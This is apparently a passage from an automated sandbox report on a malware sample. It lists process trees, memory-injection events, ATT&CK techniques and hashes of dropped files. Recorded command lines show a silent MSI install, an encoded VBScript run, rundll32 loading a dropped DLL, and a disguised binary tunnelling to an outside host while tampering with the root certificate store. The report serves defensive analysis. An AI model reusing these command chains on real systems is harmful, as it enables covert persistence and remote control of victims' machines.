Token: SeTakeOwnershipPrivilege	2520	msiexec.exe
Token: SeRestorePrivilege	2520	msiexec.exe
Token: SeTakeOwnershipPrivilege	2520	msiexec.exe
Token: SeRestorePrivilege	2520	msiexec.exe
Token: SeTakeOwnershipPrivilege	2520	msiexec.exe
Token: SeRestorePrivilege	2520	msiexec.exe
Token: SeTakeOwnershipPrivilege	2520	msiexec.exe
Token: SeRestorePrivilege	2520	msiexec.exe
Token: SeTakeOwnershipPrivilege	2520	msiexec.exe
Token: SeRestorePrivilege	2520	msiexec.exe
Token: SeTakeOwnershipPrivilege	2520	msiexec.exe
Token: SeRestorePrivilege	2520	msiexec.exe
Token: SeTakeOwnershipPrivilege	2520	msiexec.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5276	cloudflared_installer.tmp

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4104	msiexec.exe
2520	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4312 wrote to memory of 5004	4312	2026-09-13_c675848d76ae6aabec2e0714db4c73ee_cloudeye_elex_wannacry.exe	87
PID 4312 wrote to memory of 5100	4312	2026-09-13_c675848d76ae6aabec2e0714db4c73ee_cloudeye_elex_wannacry.exe	89
PID 4312 wrote to memory of 4160	4312	2026-09-13_c675848d76ae6aabec2e0714db4c73ee_cloudeye_elex_wannacry.exe	93
PID 4160 wrote to memory of 5276	4160	cloudflared_installer.exe	94
PID 5276 wrote to memory of 4104	5276	cloudflared_installer.tmp	95
PID 4320 wrote to memory of 4404	4320	WindowsEvent.exe	100
PID 1392 wrote to memory of 1280	1392	rundll32.exe	102

C:\Users\Admin\AppData\Local\Temp\2026-09-13_c675848d76ae6aabec2e0714db4c73ee_cloudeye_elex_wannacry.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-13_c675848d76ae6aabec2e0714db4c73ee_cloudeye_elex_wannacry.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4312
- C:\Windows\SysWOW64\cscript.exe
  cscript.exe /nologo "C:\Users\Admin\AppData\Roaming\MeiQia\adddf.vbe" C:\
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - System Location Discovery: System Language Discovery
  PID:5004
- C:\Users\Admin\AppData\Local\Temp\gentee8C\MeiqiaWinLatest.exe
  "C:\Users\Admin\AppData\Local\Temp\gentee8C\MeiqiaWinLatest.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:5100
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5100 -s 864
    3⤵
    - Program crash
    PID:4424
- C:\Users\Admin\AppData\Local\Temp\gentee8C\cloudflared_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\gentee8C\cloudflared_installer.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4160
- - C:\Users\Admin\AppData\Local\Temp\is-K8RE0.tmp\cloudflared_installer.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-K8RE0.tmp\cloudflared_installer.tmp" /SL5="$3901BE,20802367,926208,C:\Users\Admin\AppData\Local\Temp\gentee8C\cloudflared_installer.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5276
  - - C:\Windows\SysWOW64\msiexec.exe
      "msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\is-7G57L.tmp\cf.msi" /qn /norestart
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5100 -ip 5100
1⤵
PID:5708

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2520

C:\ProgramData\Microsoft\System\System.exe
"C:\ProgramData\Microsoft\System\System.exe" access tcp --url tcp://127.0.0.1:443 --hostname www.qccf2.cyou
1⤵
- Executes dropped EXE
- Modifies trusted root certificate store through registry
- Modifies data under HKEY_USERS
- Modifies system certificate store
PID:5892

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\ProgramData\CfServerSoftwareDistribution\Guard.dll,pKYbXy2P
1⤵
- Suspicious use of WriteProcessMemory
PID:1392
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\ProgramData\CfServerSoftwareDistribution\Guard.dll,pKYbXy2P
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1280

C:\ProgramData\CfServerSoftwareDistribution\WindowsEvent.exe
"C:\ProgramData\CfServerSoftwareDistribution\WindowsEvent.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4320
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /tn WinSafe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4404

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe
1⤵
PID:568

C:\ProgramData\CfServerSoftwareDistribution\WindowsEvent.exe
C:\ProgramData\CfServerSoftwareDistribution\WindowsEvent.exe
1⤵
- Executes dropped EXE
PID:5208

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e597894.rbs

Path C:\Config.Msi\e597894.rbs
Size 7KB
SHA256 243cf058ed4dc99867716637da0eaf9b38bcc0144f630a33c4274462090de8f7
MD5 9c2e1176a28af661e15d8daeadd673a3
SHA1 254426ce02fe43eba6a474b449fa3e0fa9d4f1e4
SHA512 1f2196bcd86b9a55ded65e1ee434ac9b4932cc2a9f0486ab5f4bc475d4cbd6e9cc8d8be2e1a9a775fcda65042e7f7929e004e9572e98d5205d5843a2510a7be8
SSDEEP 96:p1GZUvC0KC/aiqUpjuVKCsThqlUpjuVKC6jF3ZaThqTH3p5CgDWVk1BWCRplj+r5:p1G8C0KCB9VuVZIvVuVZZoTjFRps
TLSH
T156F1ED81B605D3E2FC993B7DC71B1B6537F2E2D99260224B0ACE85305F433895FA529B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Guard.dll

Path C:\ProgramData\CfServerSoftwareDistribution\Guard.dll
Size 142KB
SHA256 e10d7b68eb4a581171b208951c71bd88693809300b4845fcc06ced9ea9b40f06
MD5 a004fb519c5cdf7f87bceb142df6a07d
SHA1 5cd91c3ef89f19485fc03d1e15bcd5646aa93101
SHA512 f0f358cd0a25aa1d5d2af28f25e44987ede4acbe7decd1bc2240868496f6efa5ce62d79d0498713896bada81e78fbe6861681eab073802327ced2d04fba17943
SSDEEP 3072:sDkqdNaIJk6x5z4MTRodLNgnXug2RcNAXtCwc4GXhf:CkWt5sMTqdMug2WWq
TLSH
T13CE38C0178C1C132C57E19340ABACB729B3D78615FB49DCB67D81EBA9F301C09A75A6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WindowsEvent.exe

Path C:\ProgramData\CfServerSoftwareDistribution\WindowsEvent.exe
Size 103KB
SHA256 0e9812ab85d4ff6e9fcc00eb4a8be35a867bd99e082b17105d64b41fd5711b94
MD5 ce4725e9b6b26f7df432dad883c32cc6
SHA1 d0e7ed42658615b63954b2dbb9f49277d94615a1
SHA512 41460c5d81635f297514c384d892944b8c3221322c94e719ae30d28c9c5c2853038cf5cf2dabe239235d41c657a62d8b70efcf07c27f83f88c331668a485a29d
SSDEEP 3072:qJkBX9yj/r1xpeNJ4imqbsjgHxTmaL7LB2:qkBNuzn8NJGMH8qk
TLSH
T197A3027BC9918674DD114AF52C00589998A912DE6B27F7FB0F1CC221A8D74FC0EB7B29
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cloudflared_installer.exe

Path C:\Users\Admin\AppData\Local\Temp\gentee8C\cloudflared_installer.exe
Size 20.9MB
SHA256 9ac26859c5b48c4b85695adbca1f8881d7a881ffb0319dd091b974e91dec29a7
MD5 61b9e111f3207c9050bbfe1a0aeaea49
SHA1 74a6d0605bedf9d5ea1daa9e203a8a628737420e
SHA512 fa7507ec2bfbcd8df0415bbb33c410d6ea5e3b653dd412ec9948c06228d4e2cee92117e61ab6aea2723c8b6043d750784617e30c625b126504af139bcae0219e
SSDEEP 393216:ZljEJpblG7uxSPY+G6dvLzDkCNIgf+1qgVLx8IA8RMgklOiSLAHDbS1PZd1HzB:D0pblxIG6djzICNYPHRMgklZNQn1HzB
TLSH
T191273313A28B653FF47D8A3A89B3E216183B7A2175128C67A7F8485CDE160D52D3F743
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

guig.dll

Path C:\Users\Admin\AppData\Local\Temp\gentee8C\guig.dll
Size 20KB
SHA256 624f4c25504ba431f450d8ecee2e2d0a4d87b95f7fa0b72db43f057ca021c328
MD5 ddd4a31094764a9deb6a82c8658fd9c5
SHA1 4c098a5b44aca27b13222dd64903d3fb286fc274
SHA512 45e2b5373ceb9b92dcd1d23a0b2410b5562d2a59c2a0d4dbca1c51f6264bc4659370ae3c170662bb8d316c3dfc0439874b3354ebf1ecd7ea27de125b4975ba6e
SSDEEP 96:Vp+rqxZxbVbQosZK61Oi0sIqUWfNBd8HwoO6EVV2JVdY0l4RSID1/Qw/g3ATg:+OLOK6UsPnzB6aVd0AD1/Qw/g3
TLSH
T17D92D6B672D148F3D0CF17F00A622BAE6BB58420177578A64A134BCE96A6641F926B02
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

genteert.dll

Path C:\Users\Admin\AppData\Local\Temp\genteert.dll
Size 60KB
SHA256 54c0da1735bb1cb02b60c321de938488345f8d1d26bf389c8cb2acad5d01b831
MD5 6ce814fd1ad7ae07a9e462c26b3a0f69
SHA1 15f440c2a8498a4efe2d9ba0c6268fab4fb8e0a7
SHA512 e5cff6bcb063635e5193209b94a9b2f5465f1c82394f23f50bd30bf0a2b117b209f5fca5aa10a7912a94ad88711dcd490aa528a7202f09490acd96cd640a3556
SSDEEP 768:BVPbKk9022j0efXs6X8zqk3pT3oMapzxc7Ep+DnSIiacDwGpr1a:BVTK+022j0V6mqMozpzxcXOpwEr1
TLSH
T16A536D03678600F5D6526A7A342F7277FB34DFE742E6C6836F69DC902D221A1A52A1C3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CoreLogic.dll

Path C:\Users\Admin\AppData\Local\Temp\is-7G57L.tmp\CoreLogic.dll
Size 105KB
SHA256 fc9b81d7969666e1515eb75302d3c9f6e6b0d75c391c997ae95eed8ee8d6705f
MD5 9070029823de5a9952b8f3cf7e8ba149
SHA1 0d6aa81a1c889e8e7b29e3bfbb370ced20553e29
SHA512 70f81850d3cf964d5ee7cfc9fbb94f6e3f4c5bcd618d018246c1f77a3e4ef127e59cdccecc2306ebe0fcb64a28b413d62ccfce69ebb6413b71d3a7c89429768a
SSDEEP 3072:QGh+nSU0UQ83zjLXtKYKli6dm8jJWpGuRZTJ4CX7yt:QGhxU0e3XLXMon81InjJmt
TLSH
T1ABB3495171D1C072D5AF563E4824DB798B3FAC10DF609DDB33A44AAE0E702C19F36A6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cf.msi

Path C:\Users\Admin\AppData\Local\Temp\is-7G57L.tmp\cf.msi
Size 19.0MB
SHA256 6d2eea059b29d04bb4b68c4a1172e631df4a49c3e2a11195619533ae437c46d4
MD5 5da3fdded1d36b9b63e88cb3ccb4c959
SHA1 abda0104824f5244d0fc895fa5d9531cded2e00a
SHA512 65953e452f1a29c9a24a24f51a4fc0e81c6741a030df07d9edda4e0f489fb243eda4a757c0a332f6db9bfae58b609887094821d964749a369da6642e627b9074
SSDEEP 393216:0p7hKu8bLtjhjfm916G2GqQj9CKj83BvABin8AhG9VN5UhFT/kjLmDYYgNo3V9+D:0pIu8b1RO6G2dQj9CfBo8tYGhFT/k3SL
TLSH
T1331733A74A0F1C7AED1ACD7F86F7160D05123B726802A1673361FE80A993457E4BB1A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cloudflared_installer.tmp

Path C:\Users\Admin\AppData\Local\Temp\is-K8RE0.tmp\cloudflared_installer.tmp
Size 3.4MB
SHA256 21f15350de34eca4dd28158c814bd560cce87d00edc8e78639e15ff060c6528b
MD5 bfb94c64643de41064206e0136e4f000
SHA1 3e7384a705b1d37781b8c232442b5e7fbd87381b
SHA512 6813dba811d1a062309cd4c3fc2529ed7b806cadae0084c8ceffb6383597ca359650ec064b581ff28def770c5dd51059effec244b3849ae280d7e582b6239775
SSDEEP 49152:tDwGHAkqMu7Ht6SCiGognuzsDaarpQAB1KkX/q52guQN333F2FPh:tMGdPvuzEVTBoPdua333G
TLSH
T1B8F55D23F24D693ED05B3E3D673792A4987B76602D128C57A7EC3A4C4F391812E2A747
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.dll

Path C:\Users\Admin\AppData\Local\Temp\nsh6048.tmp\System.dll
Size 12KB
SHA256 3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca
MD5 0d7ad4f45dc6f5aa87f606d0331c6901
SHA1 48df0911f0484cbe2a8cdd5362140b63c41ee457
SHA512 c07de7308cb54205e8bd703001a7fe4fd7796c9ac1b4bb330c77c872bf712b093645f40b80ce7127531fe6746a5b66e18ea073ab6a644934abed9bb64126fea9
SSDEEP 192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
TLSH
T1BA428E12977049F2F1A0183C10A67F265FBEAE5C1BE445A39FE380867D652DF9436343
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UAC.dll

Path C:\Users\Admin\AppData\Local\Temp\nsh6048.tmp\UAC.dll
Size 14KB
SHA256 2f7f8fc05dc4fd0d5cda501b47e4433357e887bbfed7292c028d99c73b52dc08
MD5 adb29e6b186daa765dc750128649b63d
SHA1 160cbdc4cb0ac2c142d361df138c537aa7e708c9
SHA512 b28adcccf0c33660fecd6f95f28f11f793dc9988582187617b4c113fb4e6fdad4cf7694cd8c0300a477e63536456894d119741a940dda09b7df3ff0087a7eada
SSDEEP 192:DiF6v2imI36Op/tGZGfWxdyWHD0I53vLl7WVl8e04IpDlPjs:DGVY6ClGoWxXH75T1WVl83lLs
TLSH
T10F623AAA62E847BEE2221636B96723130BFDB5203DA1D01F4D531E596C30BE3953D61A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adddf.vbe

Path C:\Users\Admin\AppData\Roaming\MeiQia\adddf.vbe
Size 9KB
SHA256 4ab61a28fb3175a523e528c1d6964d6005afcde98c5c2bda11b96023e7762822
MD5 9a61b0b598accb28f85ef37a3ddb0ac9
SHA1 be606c84b9adc32097377ebe7181a38f705bbcfc
SHA512 b5fd3086e299419228f7225f39e8fc5111fd17985a1408de64b083e5d077b4bfb003679d3ff0de609dc506937fedecdf1f30a0aa81a168fda5305783aec06943
SSDEEP 192:UK/4eC2uWB9XN5JLoQUlYf0Kd7IeHpySDdKwi9SK6DLXkDxW:ZQP2uyb6S0KlzHpySDo7SK6DIxW
TLSH
T1E612195C021093408EFC9172ADCB19AE771FDE9046C96991E58CED8CF5DE2BC40AE7E5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4160-36-0x0000000000A20000-0x0000000000B12000-memory.dmp

Download

memory/4160-71-0x0000000000A20000-0x0000000000B12000-memory.dmp

Download

memory/4160-76-0x0000000000A20000-0x0000000000B12000-memory.dmp

Download

memory/4320-80-0x0000000002490000-0x00000000024B1000-memory.dmp

Download

memory/4320-78-0x0000000000940000-0x0000000000959000-memory.dmp

Download

memory/5276-75-0x0000000000B30000-0x0000000000EAE000-memory.dmp

Download

memory/5892-83-0x00007FF7B3260000-0x00007FF7B783C000-memory.dmp

Download

memory/5892-84-0x00007FF7B3260000-0x00007FF7B783C000-memory.dmp

Download

memory/5892-85-0x00007FF7B3260000-0x00007FF7B783C000-memory.dmp

Download

memory/5892-86-0x00007FF7B3260000-0x00007FF7B783C000-memory.dmp

Download

memory/5892-87-0x00007FF7B3260000-0x00007FF7B783C000-memory.dmp

Download

memory/5892-89-0x00007FF7B3260000-0x00007FF7B783C000-memory.dmp

Download

memory/5892-90-0x00007FF7B3260000-0x00007FF7B783C000-memory.dmp

Download

memory/5892-91-0x00007FF7B3260000-0x00007FF7B783C000-memory.dmp

Download

memory/5892-92-0x00007FF7B3260000-0x00007FF7B783C000-memory.dmp

Download

memory/5892-93-0x00007FF7B3260000-0x00007FF7B783C000-memory.dmp

Download

memory/5892-94-0x00007FF7B3260000-0x00007FF7B783C000-memory.dmp

Download

memory/5892-95-0x00007FF7B3260000-0x00007FF7B783C000-memory.dmp

Download

memory/5892-96-0x00007FF7B3260000-0x00007FF7B783C000-memory.dmp

Download